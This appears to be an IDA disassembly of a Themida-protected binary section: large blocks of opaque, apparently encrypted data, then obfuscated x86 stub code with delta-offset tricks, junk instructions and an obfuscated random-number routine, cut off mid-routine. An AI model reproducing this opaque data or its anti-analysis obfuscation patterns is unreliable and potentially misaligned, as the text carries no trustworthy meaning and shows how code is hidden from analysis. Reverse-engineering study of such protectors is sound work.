0AEB9DB56h, 0BE5B3256h, 4543F9E0h, 0F8D03BC6h, 0EAB132A9h dd 7059B1AFh, 0BAABB059h, 0D2BE3256h, 0AEB13242h, 57B13DBFh dd 8E4B8756h, 0B88FE754h, 0E04B4ADCh, 0B49F39A6h, 0BAB169BFh dd 5DBBDB56h, 494C3256h, 7A7507A8h, 8F340B99h, 0C7393D05h dd 0E5B13256h, 75B13EDDh, 0BAB6DB56h, 0EEA3256h, 35D2CA1h dd 242BB9EFh, 42B6D8F8h, 0D5B13247h, 3DDF53CFh, 0E68606C9h dd 0CE9B189Eh, 5E4ABA9Dh, 9DB5B962h, 57BDBD59h, 0AC583256h dd 8B13256h, 1EE027C7h, 8CEAB08Dh, 0BAB132FFh, 21343DD6h dd 0A1B13256h, 57B13FDFh, 0ABB9DB56h, 0AC423256h, 38E0796Ch dd 0B3B2FFEEh, 39D0C736h, 5E4D3796h, 441F41D4h, 5F303D51h dd 0A4B13256h, 0D5B130D7h, 0A2D05256h, 75B13EBFh, 4E46CB56h dd 954C8E47h, 9E4F5A32h, 5FF6BB54h, 0A7F6BBAFh, 0D5B123BFh dd 15569656h, 79990177h, 52300E78h, 379BBA32h, 9D5811BDh dd 37B13254h, 8BA51CEDh, 800E526Ah, 0E58CC8B5h, 14D0C0E1h dd 0BC458836h, 0AAD06F1Dh, 689AC78Eh, 0AB69C5A3h, 0ABB126BFh dd 75B9E156h, 868BE22Eh, 0E2662469h, 7F761CEFh, 96DF9F5Dh dd 0AB71B19Ch, 243331A3h, 57B6D8F8h, 0D5B13CBFh, 0B28F7456h dd 5F344D94h, 0C0A18073h, 15C9A8D5h, 66063D36h, 0DED0C7DCh dd 2FBE3A11h, 0D5B1324Fh, 0EAA2BF59h, 7B583256h, 0E5B13256h dd 98287A87h, 85E64AFBh, 15110095h, 0A7F6BB7Fh, 0D5B13BBFh dd 0EFE45856h, 62809091h, 21584A44h, 52B13257h, 0AEB133D8h dd 9782CE56h, 0ABB135BFh, 9BFCBC56h, 41D0BE09h, 7AB074DCh dd 0BAB12BD9h, 5DA5DB56h, 0EC8A3256h, 0BE73D8D4h, 0EEAF1C48h dd 4157CFECh, 2D085C7Dh, 89D1DA30h, 0DBD1CB36h, 0DD195337h dd 0AE6AB759h, 58583256h, 28B13256h, 46F12D8Ch, 3BE72A75h dd 311DB2B7h, 7CB2979Eh, 45373DAEh, 47B13256h, 57B13245h dd 20EF453Ch, 9C0A7FABh, 4DFC23D1h, 0CCF2357Fh, 391B9354h dd 0E6493096h, 0AEB13257h, 586A39AEh, 0ABB179D2h, 50BE5256h dd 0EAB13254h, 0BC306807h, 911365DEh, 152BB837h, 47B6DB85h dd 57B1325Bh, 0A3E2ECE7h, 0ADCC0476h, 6A1A5A51h, 7452B240h dd 0BAB13ABFh, 0E4D5456h, 0A5B10DD0h, 5C5852C8h, 56B13256h dd 5C8F6B5Ch, 41C3AD73h, 144826B4h, 0DAD1F155h, 425AB330h dd 0CFD05232h, 5FF6BB37h, 0ABB13CBFh, 0B9EE5C56h, 0DDEC3164h dd 4C124694h, 332B9627h, 0B4483E11h, 0AEB132C0h, 57A6B859h dd 0B9583256h, 45B13256h, 96EF1C08h, 0F78075EEh, 0DF749361h dd 9B5FE23Ah, 0CE69C5A2h, 57B13CBFh, 70273F56h, 0DFC89162h dd 0D6C8AFEBh, 1474310Ch, 0BAB1CD73h, 5DA1DB56h, 0F99A3256h dd 0DAC81ED2h, 0D8BBBDC1h, 0A3A80FF6h, 2C9A874Ah, 75A0B859h dd 0B6583256h, 0C4B13256h, 0FEBA702Ch, 0D879EC92h, 5C4E1D43h dd 0D43B3D8Eh, 1FB13256h, 80B3F2D5h, 53B975DFh, 5DB13246h dd 0B9FEDBA3h, 0E9EDDB46h dd 0B786A533h, 0B57F55F2h, 0E5BD75DFh, 75B133D8h, 0DA49CE56h dd 0E953FFD6h, 0A1D0534Ch, 57B133DFh, 5378CB56h, 2DE4CE95h dd 0E158DEDDh, 0BAB13256h, 35E4A6CEh, 25645E8Eh, 0BA582A79h dd 0B8B13256h, 32643D49h, 0B424045Eh, 497D5A84h, 15F53687h dd 3951C02Bh, 0DEBECE92h, 0AEB13246h, 57B139BFh, 69C73556h dd 0FFF95E2Bh, 0ADC371FCh, 0FED75236h, 0F46B39Dh, 3CC4CA28h dd 0AEB132BEh, 0BD306856h, 0AC5BD538h, 0D5B0B759h, 13483256h dd 72313DAFh, 0DAB13256h, 0E2BE77E1h, 143A53ACh, 505B9E5Ch dd 0A47801AFh, 0D5B13CDEh, 8BD15256h, 75B137BFh, 154E4756h dd 0DED0E820h, 2ABE3269h, 57B13666h, 0CA5DB836h, 3CD135DDh dd 0EAB1325Ah, 41352D68h, 613691CCh, 9365F081h, 0CF4F8D59h dd 58BD47A9h, 0ABB121D5h, 0D5BFDB56h, 95333256h, 2A9F7313h dd 0DB69F87Ah, 0C3C61829h, 0CEB947A9h, 57B7B959h, 23BE3256h dd 0D5B13256h, 8B46B930h, 1659C706h, 53B1325Eh, 5DB13250h dd 6D5CC40Ch, 97BA1E9Ah, 0ABBBB759h, 5E493256h, 0CD58CA51h dd 8DB13256h, 42A5F5D5h, 0A24E4CBFh, 2BBE52A9h, 57B13258h dd 0ABB13BBFh, 0D1904456h, 0FEB593C2h, 7AD04781h, 0BAB133DFh dd 1838CE56h, 254452AAh, 224E53AEh, 0A53F3D5Ah, 0B5B13256h dd 77DC5D7h, 0FEBE3949h, 0BAB13256h, 55C4CD37h, 0AEB137BFh dd 4C5F6D56h, 9C4E6380h, 0D25DDAA3h, 0E6583256h, 4AB13256h dd 0AC734BFDh, 7F61022Ah, 0A57B9C53h, 77353D96h, 53B13256h dd 0D5B275BFh, 0FE58CE56h, 92B13256h, 0D7176F96h, 1B3B29D4h dd 0A826CC6Fh, 0A1FF2013h, 20BC552Fh, 5DBECE13h, 0EAB13257h dd 7AB60BA3h, 0BAB229D4h, 4E585256h, 0F0B13256h, 215F32EAh dd 0E421B65Dh, 0A7D4D902h, 55714B9Fh, 0BE30EA7Eh, 0CB7E46CFh dd 0A1F4CD37h, 0AEB123BFh, 0B7B2F556h, 7CE1A683h, 0F805CE37h dd 0E2CC3429h, 0A32C66Ch, 3EBE3252h, 5DB1324Fh, 0A2CEB1AEh dd 59353D56h, 57B13256h, 0D5B16ABFh, 53D75256h, 9E016E73h dd 454E8A37h, 4C58CDA9h, 1CB13256h, 8870047h, 0DB059332h dd 12BE1395h, 914036BAh, 75B13CBFh, 9F4EF956h, 612441A3h dd 6F12CE80h, 0EE89B87Bh, 0ABB13253h, 0D5B134BFh, 8346E656h dd 86AE82F9h, 0BAB4DBFDh, 8F7E3256h, 47D18880h, 0A84ECC88h dd 0BBCEB1AFh, 0B5353D53h, 0E5B13256h, 75B133D5h, 0C532CE56h dd 0D8BE3446h, 0AEB13228h, 727CB236h, 0ABB121BFh, 0F21E6456h dd 0CB9298DCh, 945423B9h, 4A2C589Ah, 81E4D9F2h, 254D7337h dd 0D7D13611h, 4D305D8Dh, 0E847BCAFh, 0E6EEB937h, 75B0B159h dd 53443256h, 5DB133CCh, 0AEB13CBFh, 0F4867656h, 53C27084h dd 1BDEDDC9h, 6119294Eh, 0FE443611h, 0DCD13E09h, 0D6D7E4DDh dd 0DE5853A8h, 0BEB13257h, 0ABB13251h, 0FF75EEF3h, 3B94C18h dd 75B1325Ch, 0AF31F2C2h, 6A63E42Ch, 0E93A4827h, 83ACE52h dd 0AA3D3D5Ah, 2CB13256h, 0E5B96D6Dh, 75B18BD3h, 3FBEC756h dd 5DB13257h, 2DBE60AFh, 57B1325Ah, 0ABB7BB59h, 52BE3256h dd 0EAB13256h, 89B565DDh, 4FA1677Dh, 0B4A56755h, 0AEB1325Fh dd 3ACF1F9Bh, 4230AD9Ch, 55BE5245h, 0EAB13253h, 1276B330h dd 0BABBDB8Fh, 40EE3256h, 38CAD9D4h, 9471FFDFh, 0A7EEB937h dd 0D5BDDB36h, 45BD3256h, 0B6C06C6Bh, 790171E6h, 5058F0B7h dd 0A2B13256h, 7FD5BA18h, 4D746A51h, 0BAC080FAh, 136B1937h dd 0C8568D36h, 39D06634h, 74937BDh, 0AE3EDBAEh, 0DDBE3256h dd 0ABB13258h, 0D5B13BBFh, 3107CB56h, 0D4BF4E42h, 0A958B368h dd 74B13256h, 41A1BF3Eh, 7870A7C0h, 0ED4484BDh, 0F9AC2B04h dd 0AD3ACC56h, 0CFD75252h, 5D3BF177h, 51EEB937h, 0AEB0BB59h dd 7C493256h, 28483609h, 0C45837BDh, 51B13256h, 0D6D026D8h dd 51B1ED02h, 0A0632617h, 0D6958258h, 9831CB36h, 21B253A5h dd 0D25502E3h, 0EAB13CBFh, 0A2E67656h, 0C8E68B88h, 0BCC3FF85h dd 0A1E48D35h, 57B13ED3h, 0AD3D3D56h, 0DAB13256h, 0EAB132D2h dd 65CEB156h, 0A2343D55h, 3DB13256h, 0AC383DAFh, 0DCB13256h dd 52F05380h, 0D5B134BFh, 0D5A10F56h, 5E37857Ch, 0E638C78Fh dd 0E5493357h, 514ECDA9h, 8E0E3D36h, 0ABB3BE59h, 8EE23256h dd 0EAB48B37h, 0FFBE3256h, 0BAB1324Fh, 5DA2B259h, 0A0583256h dd 0C6B13256h, 594ADBAFh, 66BA91E8h, 5DDF89Eh, 151AC1A4h dd 0BAA2DAAFh, 0B65C3256h, 0A889852Ah, 7ACA8A86h, 0C62498BAh dd 48BD3FB9h, 0B2E860A4h, 893DDB37h, 0B5D1CDA9h, 5DB126DEh dd 0AEBEDB56h, 9D113256h, 0DA2E48A2h, 0EFD1804h, 0F4CA01ECh dd 145782DEh, 0BABBDB37h, 0E3623256h, 84D83AC4h, 0FA815D67h dd 0ABBFDB9Fh, 0C4B33256h, 2F70B9F4h, 8C4C6D13h, 7545Bh dd 52B12294h, 0AEB133DBh, 0ABE4CE56h, 0FCD1DEDDh, 0D5B137BFh dd 365FB456h, 7AEE5711h, 0BAB134DDh, 5D353D56h, 0CFB13256h dd 57B13FBFh, 6EC31B56h, 0DF2B97DEh, 9DAAA7C6h, 0B132857Fh dd 0B5D152AAh, 0DEBEF3E9h, 0AEB13256h, 37D0CB37h, 0BE3C3DAEh dd 0DAB13256h, 0EAB13DD8h, 75BBDB56h, 66DB3256h, 0F4718175h dd 0A9B39D9Dh, 57B132BEh, 41306856h, 0D25BDE24h, 503ACEAEh dd 725B9E5Ch, 0BABDB759h, 5A583256h, 6B13256h, 0A745EA51h dd 62825AE3h, 0D58EB1AAh, 0E93EB659h, 7B583256h, 0AEB13256h dd 0FD4F6A6Ch, 3FB53E88h, 0A8A14F08h, 42B6B9C6h, 0D5B1325Bh dd 0C9D0A612h, 4115E9F0h, 0D767ED2Ch, 51C4CDA4h, 3347B336h dd 58E8B211h, 0A4D0F2E9h, 0D5B126D2h, 0EABEDB56h, 31A73256h dd 0FBDDD64Ch, 0F80E41C1h, 8CF4E4B1h, 5FC4CDBEh, 0ABB138BFh dd 0BB8BA856h, 496EDF0Ch, 25D7CF6Ch, 0BAB126BFh, 0C7B0D256h dd 0C691C838h, 5A5D4C1Ch, 8DF9EA6Dh, 0A28EA1AAh, 0E9F9DACBh dd 7E493256h, 0A1343D96h, 0A5B13256h, 0AB5835DDh, 89B13256h dd 4E80B2EAh, 0D5B110BFh, 213A5256h, 22F715E8h, 7D32536Dh dd 0B4D05242h, 514ECD1Fh, 57B8B059h, 0CDD13256h, 0DA6AEFECh dd 63D0CDE1h, 0F4BECE13h, 0BAB13257h, 51C4CDAFh, 0A6C4CDA3h dd 57B13BBFh, 47294556h, 0FD52F431h, 0DD4E954Ah, 75B120BFh dd 0B0D14956h, 6AD42C18h, 55F79E0Ch, 0A7C3D007h, 435A7AD5h dd 0D5B13098h, 0E57139AFh, 75B125D2h, 0BD383D56h, 3DB13256h dd 11BEFADDh, 2D585385h, 0CBB13254h, 0B440B8AAh, 1F4D77DDh dd 0F7BE356Fh, 0BAB1303Fh, 5DBDB259h, 25BE3256h, 57B13250h dd 0ABB1B859h, 904E3256h, 9532C7AAh, 0F1BE3252h, 0BAB1327Ch dd 51CEB1AAh, 0B1353D56h, 58B13256h, 0ABB133DBh, 0B758CA56h dd 8AB13256h, 0FB33FAE9h, 0BAB6DB64h, 0B14B3256h, 0D04D919Fh dd 0A80953F8h, 0A44ECDA9h, 0D5B133D6h, 0EF08CE56h, 7AB13256h dd 0BAB126DDh, 0D6D75256h, 0AEB8DA9Eh, 7B443256h, 756B9CEh dd 8E546DEBh, 8A1AC137h, 0F468B930h, 4E9A34B9h, 47585301h dd 0A14ECDA9h, 57B13ED1h, 0AD3C3D56h, 0DAB13256h, 0EAB132DFh dd 65CEB156h, 0C5353D53h, 0B4B13256h, 0AEB13245h, 6DA81B87h dd 5C587F3Dh, 4877CB32h, 0D039E622h, 15EC6922h, 0B54A8559h dd 5DB132D3h, 0D1325356h, 0D2BE3446h, 0ABB13229h, 0D5B138BFh dd 0C9FB0556h, 0E40DB7D7h, 0B561D790h, 5DB13DD0h, 0AEBBDB56h dd 3AA73256h, 4A358864h, 0F0E90EBh, 0AD3ACB17h, 75BBDB52h dd 0DD303256h, 0CB5D8B13h, 9569E692h, 58BD6DDDh, 0ABB133D3h dd 358CB56h, 8AB13256h, 25888B30h, 7A063D36h, 1A3A5337h dd 0F13ACB52h, 57A0DB5Ah dd 165A3256h, 0F54AF5A2h, 4DA89E35h, 0F036CFA3h, 53277D34h dd 5DB132C3h, 0AEB134BFh, 9E8CE256h, 2085CBC4h, 5E493611h dd 13D13E09h, 75B2B059h, 31D73256h, 29A53A1h, 4532CB52h dd 0B7305253h, 0FDE3AB42h, 0D5B122BEh, 0FCB6B456h, 0C2143D39h dd 0B5666CBDh, 0B1F1C04Bh, 0AEBEDBB9h, 5943256h, 9C399520h dd 72D88DD1h, 0AE122353h, 0F6D06887h, 0B5B22229h, 5DB106D3h dd 47D15256h, 57B13242h, 72E0124Fh, 0EA3CA3F3h, 3847BBD7h dd 0E0F98F41h, 0FF699C55h, 0D4BE53AAh, 0AEB13255h, 364E8559h dd 64305217h, 0DC51BC10h, 3A58C30h, 9C681937h, 0BAB1325Bh dd 8B29833Ch, 7BE70676h, 0F75CA77Ch, 0AAEDBBA1h, 57BE5257h dd 0EAB13241h, 75B123BEh, 801D1C56h, 26C3FDD6h, 9C879D69h dd 8B6B9C83h, 0A4EE12A5h, 0D5B130DFh, 8B40B956h, 8A4ECDEEh dd 0BF08CEA9h, 0B4B13256h, 0AEB1325Dh, 0CF216581h, 0D9A6A339h dd 3C0567C5h, 0EAB13246h, 23EC828Bh, 744EFCDAh, 0F2928A3Eh dd 5A9CA15Ch, 0BE4D99A5h, 544ECF07h, 0D5B126BFh, 3190A556h dd 0ACD018EFh, 60ABA8C3h, 9E563A76h, 0BED6C58h, 9E4953B0h dd 8C65B236h, 4CF565EEh, 0E2735367h, 60323D56h, 53B13256h dd 5DB13246h, 73888505h, 48F995E0h, 0EA37BF78h, 0C763E1BFh dd 0EAB9B059h, 0FDBE3256h, 0BAB13254h, 3DE45336h, 0B850B330h dd 367BB9F4h, 2844DEDDh, 0D258CE92h, 0B7B13256h, 8C16EFE6h dd 32BE0C61h, 5DB13242h, 0AEB13DBFh, 75AD356h, 0F8224232h dd 2569E1B9h, 0EAC169FFh, 7D303D36h, 0B5B13256h, 5DB130D5h dd 0A1D05256h, 57B122DDh, 0ABBADB56h, 234F3256h, 9BAE23FFh dd 0C1BE2A84h, 0B2F4B9A0h, 51F409AAh, 0AEFDB059h, 5F583256h dd 0EBB13256h, 54F2FD61h, 0D1687BF3h, 0F2BE2213h, 0BAB13260h dd 26068836h, 25D765BBh, 1276538Ch, 0ABB132AAh, 0D2333D56h dd 0E5B13256h, 75B133DBh, 9B58CB56h, 3DB13256h, 0AEB7B859h dd 0A0303256h, 0AC2C1CEFh, 0D05E90EFh, 0AF765367h, 75B133AAh dd 0BB58CE56h, 0A8B13256h, 0A6303D37h, 58B13256h, 0ABB130DEh dd 5ED05256h, 61BECE13h, 75B1325Ch, 0B5EB6536h, 5DB132D6h dd 47785356h, 57B13258h, 3E8587B2h, 12A8BE81h, 116A09D0h dd 79733382h, 0B5E4CB56h, 5DB133DFh, 423ACB56h, 57B123BFh dd 365D1C56h, 3CCE0444h, 0FB4D5E67h, 3ED66582h, 39487ABAh dd 5758CE92h, 0C2B13256h, 0FF551416h, 4ED04C8Fh, 5BBE5227h dd 0EAB13251h, 75B0B059h, 52443256h, 5DB13256h, 75BB30Ch dd 0ABB6D8A7h, 0AE3B3D36h, 6CB13256h, 0AE5AF36Ch, 1426DCD6h dd 0BABDDA36h, 15DA3256h, 0B1152635h, 0ED6454FCh, 14D77C3Bh dd 54EBB81Ch, 0F02C491h, 0BC825350h, 423A5436h, 55338930h dd 476A0137h, 57B1325Fh, 0BCE8C7BDh, 62E7843Ch, 16ECBBB4h dd 75B0BA59h, 31483256h, 0B71D38ECh, 0AEBBDB51h, 2DED3256h dd 0CA2DBB61h, 6E1AA3CDh, 0E5B10DD5h, 75B352D2h, 8532CE56h dd 8343DA9h, 47B13256h, 57B1325Bh, 171BEFD3h, 0A670437Ah dd 776B9BF7h, 6176B1F6h, 0BAB122BFh, 3FCB8B56h, 0B606EE68h dd 414298ACh, 22AFB835h, 0DD313D93h, 0E5B13256h, 75B130DBh dd 53D05256h, 0A24ECDE6h, 0AEB121BFh, 86047956h, 0DC824410h dd 0C69E067h, 0DCD21098h, 7809A018h, 0BAB54DD5h, 5D85B659h dd 0A2583256h, 84B13256h, 9D76BB96h, 0B06CFC4Ch, 69D97762h dd 7AB13E29h, 0BAB12BD2h, 6458C756h, 47B13256h, 57B13258h dd 6275A37Ch, 0D120D83Dh, 0AD7EC9D2h, 304EA7A8h, 3FBECAAAh dd 5DB13253h, 5B40B836h, 4376B137h, 0ABB0BD59h, 3C483256h dd 154ECD6Ah, 74303DAEh, 43B13256h, 58A14DD5h, 0AE3FB659h dd 52583256h, 0CDB13256h, 0D4CD8F75h, 0ECA14DD5h, 7510B759h dd 3BD13256h, 7C3234A7h, 47D0CB49h, 57B13245h, 0D335447h dd 396D7FD2h, 1F96329Dh, 8E5B472Bh, 0FB14CB73h, 5DB123BFh dd 5A5BF656h, 3037F90Ch, 1E638E26h, 3A56A684h, 0AD3A6C11h dd 74343D52h, 43B13256h, 52BD6DDDh, 0AEB133DEh, 8658CE56h dd 0CBB13256h, 1D305436h, 61D78014h, 65595399h, 0EFB13256h dd 0B177246Ah, 81E406A3h, 0F3B8B3E9h, 0CB345964h, 0B5D06D37h dd 8B4B8D59h, 7AB575DDh, 0BAB138D1h, 0DDBE5256h, 0AEB13256h dd 37D05336h, 0A7EEB937h, 0D5B0B159h, 3483256h, 75B13201h dd 31D0CE36h, 0DCBE3611h, 0AEB13258h, 57323D36h, 0A4B13256h dd 0D5B132DBh, 0B53A5356h, 75B6DB5Ah, 0F0333256h, 0DF598DD6h dd 0F19AC75Eh, 0DBBEC752h, 0ABB13257h, 0D05AB1AFh, 0EAB0B659h dd 0F6483256h, 0B5B22229h, 5DB13CD3h, 0C8D1CB56h, 16D0EBDDh dd 14AC8836h, 0FED038B6h, 0E2343D8Fh, 7AB13256h, 0BAB130DEh dd 52D05256h, 0AEB125D9h, 57A3DB56h, 3D7D3256h, 5F496AB2h dd 0FDEA3453h, 593BEBDAh, 0A64AD191h, 5CB06EDFh, 0AEB8B759h dd 0DDD13256h, 0FE658BB3h, 20D06EDCh, 154ECDEEh, 72393DA9h dd 0DAB13256h, 3D2BD7D6h, 0AB085337h, 58B13256h, 0ABB139D4h dd 0D5B7DB56h, 0F9A3256h, 0F3591135h, 30BE99A5h, 5DB13258h dd 0AE3B3D36h, 58B13256h, 0ABB132DBh, 48585356h, 8A4ECDABh dd 2E7AB905h, 32BE5337h, 5DB13251h, 0C8D05236h, 0DCD0F3DDh dd 6244CE13h, 0D5B134BFh, 0FBA75356h, 0B62C47B8h, 0BAB8DBAEh dd 557A3256h, 9C66B97Eh, 77DBF9Ah, 0ABB4DB36h, 37493256h dd 8BEF1E05h, 75BEDB07h, 87A53256h, 0A16637B3h, 36533504h dd 4796C727h, 2FBE614Fh, 0D5B1324Ah, 0EAA7B559h, 64583256h dd 24B13256h, 49F4CA7Fh, 443F0B60h, 0A91A3C70h, 866CB447h dd 0D5B1DAAFh, 6BEB3256h, 9F45C9BCh, 0BAA5DB51h, 45603256h dd 98FCD492h, 7270D9D6h, 80926611h, 0B4C1D0F9h, 6ABE6E71h dd 75B13251h, 3AEB6236h, 52D0CBB0h, 0AEB137D4h, 0DD495256h dd 26BE53B9h, 0D5B13251h, 213A5436h, 0F8D0B4E1h, 501C27CCh dd 0AE315251h, 5C305422h, 0EFD0561Eh, 0ABB13232h, 825AB236h dd 0EAB121BEh, 98FB056h, 0FB5B89CEh, 7E55233h, 3401B67Dh dd 0F3319B61h, 0F360B930h, 0D5BADB37h, 14883256h, 67F434C1h dd 0DDC8C418h, 5882DA5Bh, 254D3256h, 968ACB5Dh, 0AB22DBAFh dd 0D8583256h, 32B13256h, 8033BDC9h, 0DB961E3Ch, 175985FAh dd 47B57955h, 57B13250h, 8695F113h, 148A46F9h, 0EA06B059h dd 79583256h, 0CFB13256h, 0F00A53EAh, 0AFFAB848h, 585FB885h dd 0ABB136D3h, 8BE15256h, 0FAFA3137h, 75B8B159h, 0B5D13256h dd 5DB132DBh, 95D0C756h, 45333D97h, 0CBB13256h, 7B57CBEEh dd 0B878B7Eh, 9CD02EF4h, 0BAB13251h, 5D11DBAEh, 474D3256h dd 57B132CCh, 0ABB126BFh, 860B4956h, 0FF91CF72h, 0C38A8CCh dd 2384B756h, 83D886FEh, 0DB2BBF4Dh, 0ABB6D934h, 0ABB0B959h dd 2A4D3256h, 0EABCDB85h, 0DD4E3256h, 0EA5AD33Ch, 0E224232h dd 4769E1B9h, 57B1320Ch, 0E85BB336h, 0B3D1FB39h, 52DCDAD7h dd 673E3D37h, 0DAB13256h, 5DB13BBFh, 0CBDEFE56h, 45F3518h dd 0CAD1EACEh, 4E2BBF37h, 3B6D933h, 75B1325Ah, 1C1EDD09h dd 83C45F9h, 1616D498h, 57B138BFh, 83687856h, 0D5FECEF4h dd 157B69ADh, 72373D85h, 0DAB13256h, 0D6D75336h, 56EA539Dh dd 37E9CA0Fh, 0CBD0FCDDh, 0D5B13ABEh, 0B76C8456h, 3D75B837h dd 830B5444h, 0B5E26DD9h, 0AEB13245h, 559127h, 0E4A920A1h dd 979AAA9Ah, 3ED5D6C4h, 2E428F6Eh, 4672530Fh, 0E2085203h dd 2F826612h, 0FB75FD95h dd 473A5310h, 0D5BAB959h, 0EC583256h, 0CCB13256h, 0BF71CD96h dd 4B383DD2h, 0A1B13256h, 57B122D0h, 0ABBADB56h, 9ADB3256h dd 7154058h, 56355E2Fh, 0BAB1DACDh, 0DCEB3256h, 444615BCh dd 5D58CA51h, 74B13256h, 2E592C0Dh, 600744F5h, 7F5852C5h dd 0B7B13256h, 0B21DCB8Ch, 0EFF750E4h, 420BBFFFh, 0A4B6D8FBh dd 0D5B120D3h, 52D75256h, 73590ED9h, 0BAB13256h, 560677FBh dd 57D06B61h, 58B977DDh, 0ABB13FDCh, 0A20F5256h, 0E585F332h dd 75B132D4h, 0BD385356h, 5DB138BFh, 0B97C2456h, 82D0BCE8h dd 2022D7CDh, 53BE3E13h, 0EAB1324Fh, 75B126BFh, 0ED307756h dd 3AE5195Ch, 0A3A787A8h, 351CE9Bh, 9480688Ch, 57BE5213h dd 0EAB13254h, 0B43BEDDDh, 0BEF6BB37h, 5DB13EBFh, 3C0C2356h dd 0A9261413h, 356DE533h, 0C5F4B92Fh, 0E6F6BBAEh, 61F4B9AAh dd 0BABFB559h, 54583256h, 5FB13256h, 0FC3233CDh, 0F8FBF5CBh dd 0B5A175DFh, 3D6BB3AAh, 14C2B22Ch, 0AF383D37h, 0B4B13256h dd 0AEB13246h, 93EF3458h, 47DB078Ah, 6624CA0Fh, 0C0EECE44h dd 7D3C3D9Fh, 0B5B13256h, 5DB130D2h, 6CD05256h, 0DABE3246h dd 0ABB13257h, 58BE52A3h, 0EAB1325Eh, 75B3BA59h, 0DBD13256h dd 719CB790h, 0CEF635B2h, 6170E3D7h, 0A7587D1Fh, 5DB13256h dd 0AA65DE21h, 3504EAA8h, 0DB0A8D9Fh, 4AC2283Eh, 25D752FEh dd 57BDDBAEh, 0A7863256h, 0A99F7E79h, 0EEEFF43Eh, 8AD0705Dh dd 5E9073E3h, 5DBADB51h, 3C063256h, 0FE409051h, 0CC09AEDCh dd 7234BF54h, 0E5B6D5E6h, 75B133D2h, 6A4ECB56h, 5DB9B059h dd 21BE3256h, 57B13254h, 0A4E35336h, 0D5B133D0h, 603CCE56h dd 725B9CD3h, 5D752AFh, 0CD06743h, 0AEB122BFh, 4F956256h dd 52EA92F7h, 0F7ECA95h, 7185A195h, 9C61CD2Ch, 0BAB1325Ah dd 55ADC9B5h, 0F5AACB95h, 0D56D897Ch, 4930520Ch, 8717F9D4h dd 6F33BF37h, 9CB6D8F8h, 0BAB13246h, 98F153A5h, 5304AD88h dd 9F775891h, 0C6198A51h, 0D9F18559h, 0EAB13ABFh, 948DBC56h dd 0A425D953h, 5269B945h, 0AEB133D8h, 0A2E3CA56h, 0BB580359h dd 58B13256h, 0BB6897C7h, 6E7B33E6h, 0E29DD24h, 71D3BCFh dd 68063D36h, 57B138BFh, 901F9656h, 8BAFAB35h, 8B20DFBAh dd 0FBBEF155h, 0BAB1325Eh, 5DB3B459h, 0CFD13256h, 7200B0DFh dd 0CA4935B2h, 0D5BCB059h, 0E2583256h, 0C7B13256h, 249062B8h dd 9E522C72h, 0A9383DAEh, 58B13256h, 0B133DFh, 0E951F900h dd 11h, 870E0A20h, 1830D41Ch, 8213DFDDh, 4D264B51h, 8E0F52F6h dd 0Ch, 68D0Fh, 880F0000h, 0 ; --------------------------------------------------------------------------- call $+5 pop edx sub edx, 7EAF9C6h pusha jmp loc_5F1E64 ; --------------------------------------------------------------------------- dw 0F92Ah dd 9133D8DCh ; --------------------------------------------------------------------------- loc_5F1E64: ; CODE XREF: Themida_:005F1E59j mov cx, dx popa jmp loc_5F1E73 ; --------------------------------------------------------------------------- push ebx add eax, 9DD38275h loc_5F1E73: ; CODE XREF: Themida_:005F1E68j pusha adc si, 0F7B7h popa cld push edx jz loc_5F1E8A pusha jnb $+6 popa loc_5F1E8A: ; CODE XREF: Themida_:005F1E7Cj cld mov eax, [edx+7E425B1h] jo loc_5F1EAC jl loc_5F1EAC jmp loc_5F1EAC ; --------------------------------------------------------------------------- dw 6BFEh dd 37D431A1h, 697B34B3h ; --------------------------------------------------------------------------- loc_5F1EAC: ; CODE XREF: Themida_:005F1E91j ; Themida_:005F1E97j ... mov ecx, 41C64E6Dh clc mul ecx pusha mov si, 0F2C1h mov esi, edi popa pop edx pusha jmp loc_5F1ED6 ; --------------------------------------------------------------------------- align 4 dd 79425039h, 5CF1DFCBh, 101A5826h, 765AA1D2h db 0DFh, 72h ; --------------------------------------------------------------------------- loc_5F1ED6: ; CODE XREF: Themida_:005F1EBEj mov ax, 94BBh popa add eax, 3039h jl loc_5F1EFC jp loc_5F1EFC jmp loc_5F1EFC ; --------------------------------------------------------------------------- push esp and [edx], al inc edx retn ; --------------------------------------------------------------------------- dw 0E7Bh dd 0D91067E6h ; --------------------------------------------------------------------------- loc_5F1EFC: ; CODE XREF: Themida_:005F1EE0j ; Themida_:005F1EE6j ... and eax, 7FFFFFFFh jns loc_5F1F1F jmp loc_5F1F1F ; --------------------------------------------------------------------------- dd 2C925A45h, 2A23C56Fh, 8992B9B3h, 8D0948E1h db 0A7h, 0E9h, 0C9h ; --------------------------------------------------------------------------- loc_5F1F1F: ; CODE XREF: Themida_:005F1F01j ; Themida_:005F1F07j mov [edx+7E425B1h], eax jnb loc_5F1F2C cmc loc_5F1F2C: ; CODE XREF: Themida_:005F1F25j pop edx pusha and ecx, 9F4F0C5h mov bx, 6474h popa pop ecx jb locret_5F1F47 jb locret_5F1F47 clc locret_5F1F47: ; CODE XREF: Themida_:005F1F3Aj ; Themida_:005F1F40j retn ; --------------------------------------------------------------------------- cmc loc_5F1F49: ; DATA XREF: Themida_:00585188o push ecx pusha jbe loc_5F1F53 mov ch, 0A2h loc_5F1F53: ; CODE XREF: Themida_:005F1F4Bj popa push edx pusha mov di, cx cld popa call $+5 pop edx sub edx, 7EAFAD5h pusha pusha jz $+6 popa and edi, 4AC09C0Dh popa ja loc_5F1F8D jmp loc_5F1F8D ; --------------------------------------------------------------------------- dw 0AC9Bh dd 0D8CB2411h, 0DDF60AF8h db 1Dh ; --------------------------------------------------------------------------- loc_5F1F8D: ; CODE XREF: Themida_:005F1F77j ; Themida_:005F1F7Dj mov ecx, eax jmp loc_5F1FA8 ; --------------------------------------------------------------------------- pop ebp dec ebx sbb byte ptr [ecx-7Ah], 55h mov [edx], eax push ecx retf ; --------------------------------------------------------------------------- dw 0D977h ; --------------------------------------------------------------------------- rol dword ptr [edx+5C2EEC91h], cl aad 28h loc_5F1FA8: ; CODE XREF: Themida_:005F1F8Fj call near ptr dword_5F1B7C+2A6h cld jb loc_5F1FCB jmp loc_5F1FCB ; --------------------------------------------------------------------------- db 0D2h, 8Ch, 8Ah dd 984E1C01h, 0A3FF59CDh, 0D3F4691Ah db 0Fh, 39h, 45h ; --------------------------------------------------------------------------- loc_5F1FCB: ; CODE XREF: Themida_:005F1FAEj ; Themida_:005F1FB4j xor edx, edx pusha sbb bx, 0EBA8h popa div ecx jnp loc_5F1FE3 jbe loc_5F1FE3 clc loc_5F1FE3: ; CODE XREF: Themida_:005F1FD6j ; Themida_:005F1FDCj mov eax, edx cmc pop edx pusha push eax 